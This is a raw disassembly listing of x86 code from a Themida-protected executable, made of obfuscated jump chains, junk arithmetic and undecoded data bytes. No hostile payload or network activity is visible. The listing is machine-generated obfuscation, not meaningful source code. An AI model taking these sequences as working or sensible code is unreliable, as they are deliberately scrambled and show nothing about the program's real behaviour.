		jmp	loc_50E489
; ---------------------------------------------------------------------------


loc_51A3BE:				; CODE XREF: Themida_:0051B620j
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, ebx
		jmp	loc_5128BE
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 8BE88900h, 0C481242Ch,	4, 12A2C281h, 0B3E941B7h
		dd 5CFFFFFDh, 0FF5FE7E9h, 0E7C147FFh, 0D7F74703h, 37C0C781h
		dd 6BE9B08Eh, 5DFFFFA3h, 0BFFAE953h, 0D701FFFFh, 56AEF81h
		dd 0E6E9039Ah
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A437:				; CODE XREF: Themida_:00517D50j
		pop	edi
		sub	ecx, edi
		mov	edi, [esp]
		push	esi
		jmp	loc_51CB70
; ---------------------------------------------------------------------------


loc_51A443:				; CODE XREF: Themida_:0051D4C6j
		xor	[esp], dl
		xor	dl, [esp]
		xor	[esp], dl
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 1, 0CEh, 59h
		dd 4BA52h, 5EE90000h, 2900000Ah, 24048BC6h, 4C481h, 0F6810000h
		dd 0F24CF15Bh, 15EF101h, 75E981D9h, 0E928A13Bh,	0FFFF4179h
; ---------------------------------------------------------------------------


loc_51A480:				; CODE XREF: Themida_:00513CEFj
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_52092E
; ---------------------------------------------------------------------------


loc_51A490:				; CODE XREF: Themida_:0051A87Bj
		pop	esp
		or	eax, eax
		jz	loc_519074
		push	dword ptr [edi+1Ch]
		push	ecx
		jmp	loc_514B3D
; ---------------------------------------------------------------------------
		dw 0F766h
aSsi		db ')',0
		align 2


loc_51A4AA:				; CODE XREF: Themida_:0051A9E2j
		push	edx
		mov	edx, 3DDA00BEh
		shr	edx, 3
		jmp	loc_50F953
; ---------------------------------------------------------------------------
		dd 64FDE952h, 0F66FFFFh, 5166C8AFh, 111BE99Ch, 168FFFFh
		dd 5B533C6Ah, 0E904EC83h, 1E50h
; ---------------------------------------------------------------------------


loc_51A4D8:				; CODE XREF: Themida_:00518BCBj
		pop	ebp
		add	esi, 73E70D03h
		shr	esi, 4
		push	ecx
		mov	ecx, 4A7238B1h
		and	ecx, 24731C1Bh
		xor	ecx, 4F0E59AEh
		jmp	loc_51CA1A
; ---------------------------------------------------------------------------
		db 2Dh,	0Eh, 3Ah
		dd 0C7895AD6h, 0FF754EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A505:				; CODE XREF: Themida_:00514E36j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5139BE
; ---------------------------------------------------------------------------


loc_51A51A:				; CODE XREF: Themida_:00519B2Dj
		mov	eax, [esp]
		add	esp, 4
		add	edx, 566469B0h
		sub	edx, ecx
		sub	edx, 566469B0h
		jmp	loc_50C142
; ---------------------------------------------------------------------------
		db 89h
		dd 1ABB241Ch, 81025620h, 0F97A23CBh, 4EC8129h, 89000000h
		dd 71E92404h, 0FF000045h, 58042474h, 8B24048Fh,	9BE92424h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A55F:				; CODE XREF: Themida_:0050B7EEj
		not	dl
		inc	dl
		push	eax
		mov	ah, 0Fh
		not	ah
		shr	ah, 7
		push	dx
		mov	dh, ah
		not	dh
		mov	ah, dh
		pop	dx
		add	ah, 86h
		push	ebx
		push	64C3h
		mov	[esp], ecx
		mov	ch, 0AFh
		add	ch, 0E0h
		dec	ch
		inc	ch
		add	ch, 8Ch
		mov	bl, ch
		pop	ecx
		neg	bl
		sub	bl, 0F9h
		sub	dl, bl
		pop	ebx
		sub	dl, 0D2h
		add	dl, ah
		jmp	loc_511829
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0FFE5FDE9h, 4C281FFh, 81000000h, 4EAh, 0B5E95200h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51A5BF:				; CODE XREF: Themida_:0051E6A3j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_514DCC
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 0E9000000h, 0FFFF6716h
; ---------------------------------------------------------------------------


loc_51A5D8:				; CODE XREF: Themida_:00511068j
		xchg	dh, [esp+1]
		jmp	loc_51A30F
; ---------------------------------------------------------------------------


loc_51A5E1:				; CODE XREF: Themida_:00517DFBj
		add	eax, edi
		jmp	loc_50E2C6
; ---------------------------------------------------------------------------
		dd 81665D66h, 6607A4EDh, 67EDED81h, 0FF7FB3E9h,	33E95AFFh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51A5FF:				; CODE XREF: Themida_:0050BDCDj
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		xor	edx, edx
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		push	35Fh
		jmp	loc_511E94
; ---------------------------------------------------------------------------


loc_51A61D:				; CODE XREF: Themida_:00513EC9j
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_516989
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 0A9h
		dd 8058E220h, 0D0284AC2h, 8124148Bh, 4C4h, 52D80000h, 0AB9E9h
		db 0
; ---------------------------------------------------------------------------


loc_51A651:				; CODE XREF: Themida_:005112E4j
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_517F55
; ---------------------------------------------------------------------------
		db 53h
		dd 4EC81h, 4890000h, 1AA7E924h,	0EB830000h, 241C8704h
		dd 243C895Ch, 42474FFh,	83243C8Bh, 48F04C4h, 31665C24h
		dd 0E99C2404h, 0FFFF0F51h, 2414F753h, 0B850435Bh, 0D28CC05Dh
		dd 733E9h
		db 0
; ---------------------------------------------------------------------------


loc_51A6A5:				; CODE XREF: Themida_:0050F2DEj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50C030
; ---------------------------------------------------------------------------


loc_51A6BB:				; CODE XREF: Themida_:0050BEBBj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	eax
		push	ecx
		mov	ecx, 3DBC3739h
		xor	eax, ecx
		pop	ecx
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 254078B0h
		add	ecx, 531A3F41h
		jmp	loc_51188B
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 68000000h,	44D2h, 0FF765FE9h, 1FE95BFFh, 0B7FFFFE3h
		dd 5FC780BFh, 285BFD28h, 2434FFEBh, 4C48159h, 2C000000h
		dd 4D800F5h, 44F5E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51A716:				; CODE XREF: Themida_:0051FAE1j
		add	eax, 74587D87h
		shr	eax, 7
		not	eax
		dec	eax
		sub	eax, 95100AA8h
		xor	edi, eax
		pop	eax
		xor	edi, 5224630Dh
		and	edi, 561E5101h
		jmp	loc_511F93
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 5755E189h, 4BFh, 2C815700h, 0F023E124h, 75E95D30h
		dd 29FFFFE9h, 6ABA52DEh, 0F7776052h, 14F752DAh,	0AEE95A24h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A76B:				; CODE XREF: Themida_:00511133j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_51571E
; ---------------------------------------------------------------------------


loc_51A780:				; CODE XREF: Themida_:0050D8B5j
		and	eax, edi
		jmp	loc_514574
; ---------------------------------------------------------------------------


loc_51A787:				; CODE XREF: Themida_:0051D373j
		pop	esi
		jmp	loc_520241
; ---------------------------------------------------------------------------


loc_51A78D:				; CODE XREF: Themida_:0051DC23j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 8B66C361h, 0EC81240Ch, 4, 83242C89h,	8F5404ECh, 4832404h
		dd 815D0424h, 4C5h, 58516800h, 3C890000h, 4D4CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A7BE:				; CODE XREF: Themida_:005192EEj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_51A9B6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0B60F0000h, 87048DC0h, 4EC81h, 2C890000h, 7DA4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A7EA:				; CODE XREF: Themida_:0051B7D8j
		pop	ebp
		push	5826h
		mov	[esp], ebx
		mov	ebx, 5A4D0176h
		push	459h
		mov	[esp], esi
		mov	esi, 8054978h
		not	esi
		xor	esi, 0F643E64h
		push	edx
		mov	edx, 42D429E3h
		push	ebp
		mov	ebp, 1C9131B3h
		jmp	loc_51CA85
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 4870000h, 0C2815C24h, 45F0046h, 5CE9DA01h
		dd 6600005Fh, 5024048Bh, 5379E9h, 81FA0100h, 0BA782BEAh
		dd 4FE95F22h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A853:				; CODE XREF: Themida_:0050C3E3j
		push	ebp
		push	esi
		push	6BAC3AD8h
		jmp	loc_50CB87
; ---------------------------------------------------------------------------


loc_51A85F:				; CODE XREF: Themida_:00520DF4j
		add	esi, 361A597Eh
		jmp	loc_51ED02
; ---------------------------------------------------------------------------


loc_51A86A:				; CODE XREF: Themida_:00518C71j
		push	edx
		jmp	loc_51E077
; ---------------------------------------------------------------------------


loc_51A870:				; CODE XREF: Themida_:0050D97Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_51A490
; ---------------------------------------------------------------------------
		dd 41F8E95Fh, 6859FFFFh, 6F29h,	0E9241489h, 987h, 0C159CD01h
		dd 0B95107EDh, 2A8A6E61h, 0E959CD21h, 0FFFF9F76h
; ---------------------------------------------------------------------------


loc_51A8A8:				; CODE XREF: Themida_:0050C15Dj
		mov	esi, [esp]
		add	esp, 4
		and	edx, 64607A9Ch
		push	4604h
		mov	[esp], edi
		jmp	loc_512F6B
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0C8h
		dd 81314A2Fh, 0F771C0EFh, 81DF2904h, 0F771C0C7h, 0EF815B04h
		dd 9237D298h, 4A5FFA29h, 0E903EAC1h, 4C38h
; ---------------------------------------------------------------------------


loc_51A8E8:				; CODE XREF: Themida_:00511424j
		mov	[esp], eax
		jmp	loc_511A4D
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0BD242C89h, 23936E11h, 0E351E952h, 0C1BDFFFFh
		dd 8125523Eh, 833202E5h, 0FDC58177h, 56FA5739h,	8B0E8EBEh
		dd 4EC812Fh, 89000000h,	13BD242Ch, 0E919F04Ah, 3CA1h, 89243489h
		dd 4C681E6h, 57000000h,	0FFFA1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51A93D:				; CODE XREF: Themida_:00516DECj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_518D63
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0B5E9F501h, 81FFFF91h, 0FD8F4EEBh, 5BD801DEh, 4BD555Dh
		dd 0E9000000h, 0FFFF1778h, 4EC81h, 3C890000h, 5C10E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A97A:				; CODE XREF: Themida_:00518334j
		add	esp, 4
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 7B7B6773h
		sub	esi, ebp
		mov	ebp, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_51E74E
; ---------------------------------------------------------------------------
aOu		db 'O',0
		dd 8159C889h, 3915B8C2h, 2AC5E97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51A9B6:				; CODE XREF: Themida_:0051A7C8j
		shr	ecx, 7
		push	62B8h
		mov	[esp], ebx
		push	eax
		jmp	loc_51DCF5
; ---------------------------------------------------------------------------


loc_51A9C7:				; CODE XREF: Themida_:00513EDBj
		shr	ebp, 6
		not	ebp
		jmp	loc_51CB9A
; ---------------------------------------------------------------------------


loc_51A9D1:				; CODE XREF: Themida_:0051EB7Fj
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_51517E
; ---------------------------------------------------------------------------


loc_51A9DC:				; CODE XREF: Themida_:0051DD4Cj
		push	eax
		mov	eax, 33A8551Fh
		jmp	loc_51A4AA
; ---------------------------------------------------------------------------


loc_51A9E7:				; CODE XREF: Themida_:0051D2A0j
		mov	[esp], ebx
		push	ecx
		push	1EA872D2h
		pop	ecx
		and	ecx, 346B2460h
		shr	ecx, 5
		shl	ecx, 6
		xor	ecx, 28504084h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_51711D
; ---------------------------------------------------------------------------


loc_51AA0B:				; CODE XREF: Themida_:00511155j
		mov	[esp], edx
		mov	edx, 0
		jmp	loc_50BCA2
; ---------------------------------------------------------------------------
		dd 8924248Bh, 5FE92404h, 50FFFF35h, 5A50F089h, 0FF99BCE9h
		dd 57E95DFFh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AA33:				; CODE XREF: Themida_:005142F4j
		xchg	eax, [esp]
		pop	esp
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_510297
; ---------------------------------------------------------------------------


loc_51AA43:				; CODE XREF: Themida_:0051949Bj
		mov	edi, esp
		push	ebp
		mov	ebp, 6C887F2Ch
		shr	ebp, 5
		and	ebp, 2DFF67FBh
		or	ebp, 1776765h
		neg	ebp
		xor	ebp, 0FE889807h
		push	edx
		mov	edx, 56CD1115h
		dec	edx
		and	edx, 5F942169h
		add	edx, 1B6418E9h
		sub	edx, 2815026h
		sub	edx, 3B45658h
		jmp	loc_50DE03
; ---------------------------------------------------------------------------
		dw 2D58h
		dd 4D025960h, 0BA52D0F7h, 42D9Ah, 0FFA9DAE9h, 24048BFFh
		dd 4C481h, 89560000h, 4C681E6h,	81000000h, 4C6h, 24348700h
		dd 6824248Bh, 1875h, 54243C89h,	8B2434FFh, 0A2E9243Ch
		dd 5E000036h, 354FEB81h, 0BA527F6Eh, 52CF8DF1h,	14E9D301h
		dd 0F7FFFFF1h, 98F181D1h, 0E981DCEBh, 59C8h, 0E92434FFh
		dd 0FFFF56FBh, 565FFE29h, 42474FFh, 0FFF665E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AB01:				; CODE XREF: Themida_:0051B172j
		push	ebx
		push	116C4693h
		pop	ebx
		dec	ebx
		xor	ebx, 207F0218h
		push	ebp
		mov	ebp, 399055C6h
		dec	ebp
		jmp	loc_51EC7E
; ---------------------------------------------------------------------------


loc_51AB1B:				; CODE XREF: Themida_:0051CE00j
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_518EE3
; ---------------------------------------------------------------------------


loc_51AB29:				; CODE XREF: Themida_:0050D4FEj
		or	ebx, 68A16B9Bh
		jmp	loc_5160E1
; ---------------------------------------------------------------------------


loc_51AB34:				; CODE XREF: Themida_:00512467j
		mov	[esp], edi
		jmp	loc_517612
; ---------------------------------------------------------------------------


loc_51AB3C:				; CODE XREF: Themida_:0051FB51j
		pop	ebp
		neg	ebp
		not	ebp
		sub	ebp, 16020098h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_51D19D
; ---------------------------------------------------------------------------
		db 0Dh
		dd 12A21342h, 0FF66F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AB59:				; CODE XREF: Themida_:00516725j
		pop	eax
		add	eax, 4
		push	2962h
		mov	[esp], ebx
		push	7A2844A7h
		pop	ebx
		shr	ebx, 8
		sub	ebx, 4F370C77h
		sub	ebx, 0B1431BC9h
		jmp	loc_50B600
; ---------------------------------------------------------------------------


loc_51AB81:				; CODE XREF: Themida_:00514EEDj
		or	eax, 6E67588Bh
		and	eax, 68031F10h
		sub	eax, 3CEADB84h
		add	edx, eax
		pop	eax
		add	edx, eax
		push	edi
		jmp	loc_51C87A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF0A45h, 36A2ED81h, 0EE8165FAh, 2041609Dh, 0C681EE01h
		dd 2041609Dh, 83242C8Bh, 34FF04C4h, 0C4835A24h,	24348704h
		dd 0E924248Bh, 1109h, 6D0EE958h, 0E980FFFFh, 59CE303Dh
		dd 6968C6FEh, 89000070h, 0E951241Ch, 0FFFFCE84h, 0C1815954h
		dd 4, 0E904C183h, 0FFFF150Ch, 0B1240C89h, 6E9808Eh, 0A2E9CB00h
		dd 8FFFFF10h, 248B2404h, 24040824h, 9CFE99Ch, 0ED68FFFFh
		dd 5D3FFF7Fh, 34FFEE31h, 0C4835D24h, 5EF00104h,	4EC81h
		dd 4890000h, 2474FF24h,	48F5804h, 24248B24h, 9C2404FEh
		dd 0FF09A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AC45:				; CODE XREF: Themida_:00516C09j
		add	eax, 4309338Ah
		jmp	loc_51D7CE
; ---------------------------------------------------------------------------
		db 81h
		dd 32439DEEh, 0F3295B0Ch, 0FFFE6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AC5D:				; CODE XREF: Themida_:0051E1D2j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_510EC4
; ---------------------------------------------------------------------------


loc_51AC68:				; CODE XREF: Themida_:005160F9j
		add	ebx, ecx
		pop	ecx
		jmp	loc_5182EF
; ---------------------------------------------------------------------------
		dd 2145A1BBh, 0BEA7E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AC7A:				; CODE XREF: Themida_:0050F8CBj
		push	eax
		push	ecx
		mov	ch, bl
		mov	ah, ch
		pop	ecx
		mov	dh, ah
		pop	eax
		jmp	loc_50BD28
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 5
		dd 740D7CBDh, 36E9C221h, 50FFFFDAh, 516691B0h, 0FF1759E9h
		dd 243C89FFh, 5E0CBA52h, 0EAD151C3h, 0FD0C281h,	0C28155EBh
		dd 2AE57736h, 17B7C281h, 0D789694Fh, 52D7F75Ah,	0A4DDF4BAh
		dd 5AD731A0h, 0BDCEB81h, 0FB01516Dh, 0BDCC381h,	525F516Dh
		dd 0F460DBAh, 0A566E979h, 2958FFFFh, 810C2474h,	20C2444h
		dd 5E0F144Eh, 4195E9h, 9DC58100h, 8118F139h, 71121DF5h
		dd 49C4E927h, 835D0000h, 0FAE904C6h, 81FFFF95h,	4C2h, 4C28300h
		dd 0E9241487h, 0FFFFED78h, 0FF08BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AD29:				; CODE XREF: Themida_:0051E277j
		mov	edi, 6E5E8Fh
		add	edi, 0FFFFFFFFh
		xchg	ecx, edi
		not	ecx
		jmp	loc_51D904
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4C4h, 30C18100h, 812BBA5Ah, 7BCB93F1h, 59CD318Eh, 1058EE81h
		dd 0BEE9144Fh, 2DFFFFBFh, 43C3835h, 0A668D801h,	0E9000022h
		dd 0FFFFA923h, 4C481h, 0BA520000h, 24BF4A13h, 0BFCE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AD7E:				; CODE XREF: Themida_:00515E8Aj
		add	al, 7Bh
		add	al, dh
		sub	al, 7Bh
		sub	al, 38h
		add	al, 50h
		sub	al, 97h
		pop	edx
		push	edx
		push	ecx
		mov	ch, 80h
		mov	dl, ch
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_517510
; ---------------------------------------------------------------------------


loc_51ADA7:				; CODE XREF: Themida_:005153DAj
		and	ecx, 3E93660Dh
		jmp	loc_515C8A
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 0C0EF8006h, 806EB151h, 0CF007FE9h, 0FFF98859h, 1C8B2434h
		dd 4C48324h, 8804C483h,	0E95966CBh, 0FFFF88F8h,	158C329h
		dd 0C1815BD9h, 4, 1A868h, 240C8900h, 42474FFh, 0E92434FFh
		dd 0FFFFE777h, 4303B951h, 0E9816C1Dh, 4047499Dh, 0FCF4F181h
		dd 0CF091840h, 1BE78159h, 810A3235h, 967184CFh,	2516E952h
		dd 33680000h, 8900007Fh, 0BE562404h, 0B2E1E4Ah,	5106C681h
		dd 79E949B1h, 1FFFF67h,	0D4C781EFh, 0E95F5964h,	0FFFF967Fh
		dd 0EA895258h, 242C8152h, 39493405h, 0C1ECE95Fh, 0C281FFFFh
		dd 4, 0FFB987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AE61:				; CODE XREF: Themida_:00511813j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_51DBBF
; ---------------------------------------------------------------------------
		db 28h,	0F0h, 5Ah
		dd 4E9CB04h, 66000044h,	660433BFh, 0E904EFC1h, 0FFFF3E52h
; ---------------------------------------------------------------------------


loc_51AE8C:				; CODE XREF: Themida_:005140D5j
		push	ecx
		mov	ecx, esp
		jmp	loc_51AF4D
; ---------------------------------------------------------------------------


loc_51AE94:				; CODE XREF: Themida_:005189A2j
		xor	[esp+4], edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 206E2BB6h
		push	dword ptr [esp]
		jmp	loc_519C1D
; ---------------------------------------------------------------------------
aZ4S		db '4$\:',0
		align 2
		dw 0F729h
		dd 0FF54DFE9h, 0E8B850FFh, 29143A1Ah, 0BB5E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51AECA:				; CODE XREF: Themida_:0051C8CAj
		xor	eax, 7EBC2B94h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, esi
		pop	esi
		jmp	loc_51EDB9
; ---------------------------------------------------------------------------


loc_51AEDF:				; CODE XREF: Themida_:00516299j
		shr	ebx, 3
		xor	ebx, 6B4CCD87h
		jmp	loc_50F04D
; ---------------------------------------------------------------------------
		db 0C0h, 0E9h, 6
		dd 0F647C180h, 45E980D1h, 8059CC08h, 59E9FFECh,	66FFFF9Fh
		dd 81240C8Bh, 4ECh, 24148900h, 3B1D68h,	7188E900h, 0F868FFFFh
		dd 89000007h, 8B54243Ch, 8951243Ch, 4C181E1h, 0E9000000h
		dd 0FFFF5295h, 80BDB753h, 0E7803BE7h, 3EFC00Ch,	0F6E3F780h
		dd 3EF780D7h, 0FFFE65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51AF4D:				; CODE XREF: Themida_:0051AE8Fj
		add	ecx, 4
		jmp	loc_520335
; ---------------------------------------------------------------------------
		dd 0B83D26BAh, 4AF2814Ch, 101E36Bh, 0BE565AD7h,	45141F62h
		dd 8B5EF729h, 0C4832434h, 5C136804h, 3C890000h,	2474FF24h
		dd 243C8B04h, 4C481h, 48F0000h,	24248B24h, 240C8966h, 0FF064CE9h
		dd 0A8B450FFh, 0FF53E3E9h, 248B66FFh, 63BE924h,	0E957FFFFh
		dd 0FFFF5555h, 0FF0630E9h, 0C58166FFh, 4D667922h, 58ED8166h
		dd 6F21E964h, 0F901FFFFh, 0A724E95Fh, 8166FFFFh, 3E02246Ch
		dd 44816654h, 41B80224h, 24448166h, 0E90FD202h,	0FFFF98CFh
		dd 2958C501h, 0BB535DEFh, 0C68710Dh, 0E904E3C1h, 0FFFF7122h
		dd 167CEB81h, 0BD55793Dh, 786E5CACh, 8108E5C1h,	0DB42C9F5h
		dd 2E5C136h, 0E903EDC1h, 0FFFFB8CEh
; ---------------------------------------------------------------------------


loc_51B01C:				; CODE XREF: Themida_:00521093j
		push	ebx
		jmp	loc_51FE66
; ---------------------------------------------------------------------------
		dw 15BDh
		dd 81320E34h, 1662D9C5h, 5DEF01FAh, 0C7E9FD29h,	81FFFFADh
		dd 5A56ECC2h, 56F2816Bh, 8137EB71h, 0EBE0D3F2h,	5AD001ECh
		dd 9CB9515Ah, 0C107B641h, 0D9F707E1h, 0CE04C181h, 0C801DB20h
		dd 24043359h, 33240431h, 248B2404h, 24048F24h, 2404895Ch
		dd 0DEDE9h, 0A9B95100h,	81297866h, 267EFAF1h, 32F1811Fh
		dd 8172CA66h, 7D1CB9E9h, 2644E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B096:				; CODE XREF: Themida_:005176ECj
		sub	esp, 4
		mov	[esp], ecx
		push	23134DE3h
		jmp	loc_50C0A7
; ---------------------------------------------------------------------------


loc_51B0A9:				; CODE XREF: Themida_:00517020j
		pop	esi
		jmp	loc_51CAAC
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 0FF77F2E9h, 247429FFh, 24448108h,	2331DB08h, 246C8124h
		dd 0E6333E08h, 8FE95E3Eh, 89FFFF49h, 59B3241Ch,	0DD885150h
		dd 0C8BEC88h, 4C48324h,	48BE288h, 4C48124h, 0E9000000h
		dd 0FFFF1FE2h, 564668h,	0F82EE900h, 48BFFFFh, 4C48324h
		dd 0C418E951h, 39B2FFFFh, 0C05EC280h, 0C28005E2h, 50D2F688h
		dd 0B252C6B4h, 5AD4003Dh, 8001C480h, 0E20838ECh, 6BC28058h
		dd 525AD000h, 234CE9h, 0D1885100h, 6BE95350h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B13F:				; CODE XREF: Themida_:00514962j
		sub	esp, 4
		jmp	loc_519270
; ---------------------------------------------------------------------------


loc_51B14A:				; CODE XREF: Themida_:0051CF8Dj
		push	esi
		mov	esi, 67E21A6Bh
		xor	esi, 67E21A6Fh
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5153F0
; ---------------------------------------------------------------------------


loc_51B161:				; CODE XREF: Themida_:0051E4C9j
		pop	ecx
		add	ebx, 0AB06209h
		add	ebx, edi
		jmp	loc_50E66E
; ---------------------------------------------------------------------------


loc_51B16F:				; CODE XREF: Themida_:0050D66Bj
		add	esp, 4
		jmp	loc_51AB01
; ---------------------------------------------------------------------------
		db 81h
		dd 0D649ADEDh, 38C58130h, 1A0E57Dh, 6C17E9EEh, 8B66FFFFh
		dd 87E92404h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B193:				; CODE XREF: Themida_:0051CEE1j
		pop	ebp
		jmp	loc_50DCFA
; ---------------------------------------------------------------------------


loc_51B199:				; CODE XREF: Themida_:0051F723j
		push	esi
		jmp	loc_50C3D8
; ---------------------------------------------------------------------------


loc_51B19F:				; CODE XREF: Themida_:00515649j
		add	esp, 4
		push	ecx
		jmp	loc_514108
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704C783h, 248B243Ch,	0C6685724h, 5F306B02h
		dd 187FEF81h, 0D7F7606Fh, 814FD7F7h, 8695BEF7h,	5FF831B0h
		dd 1832EA81h, 0C281616Ah, 41D7317Eh, 0EA81C201h, 41D7317Eh
		dd 1832C281h, 8358616Ah, 143302C2h, 0C4EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51B1FA:				; CODE XREF: Themida_:0050D2FAj
		add	edx, esi
		sub	edx, 2A3705Ch
		push	ebx
		mov	ebx, 0BDA4A9Ah
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_51B401
; ---------------------------------------------------------------------------
		db 88h
		dd 8BD588DAh, 0C4812414h, 4, 24148B5Bh,	6804C483h, 2D02h
		dd 0B5240C89h, 59C58075h, 2859E800h, 66CE2CE8h,	0E9240C8Bh
		dd 0FFFF3864h
; ---------------------------------------------------------------------------


loc_51B24C:				; CODE XREF: Themida_:00520E26j
		pop	ebp
		sub	ebp, 5E7553D2h
		sub	ebp, ecx
		push	eax
		mov	eax, 76AB02DFh
		add	eax, 0E7CA50F3h
		add	ebp, eax
		pop	eax
		pop	ecx
		add	ebp, 308C435Fh
		add	ebp, esi
		sub	ebp, 308C435Fh
		add	ebp, 1572052Ch
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0E9h
		dd 0FFFF4742h
; ---------------------------------------------------------------------------


loc_51B294:				; CODE XREF: Themida_:0050DF7Dj
		xor	esi, ebp
		xchg	eax, esi
		jmp	loc_50EB95
; ---------------------------------------------------------------------------


loc_51B29C:				; CODE XREF: Themida_:0051C323j
		xchg	ecx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51BE89
; ---------------------------------------------------------------------------
		db 5Bh
		dd 68h,	242C2800h, 83242C8Ah, 1EE904C4h, 100003Ah, 0FB895BDFh
		dd 0C8E4E95Fh, 8951FFFFh, 4C181E1h, 83000000h, 0C3304E9h
		dd 240C3124h, 8B240C33h, 14892424h, 4EC8124h, 89000000h
		dd 39E92424h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51B303:				; CODE XREF: Themida_:0050F89Cj
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_518234
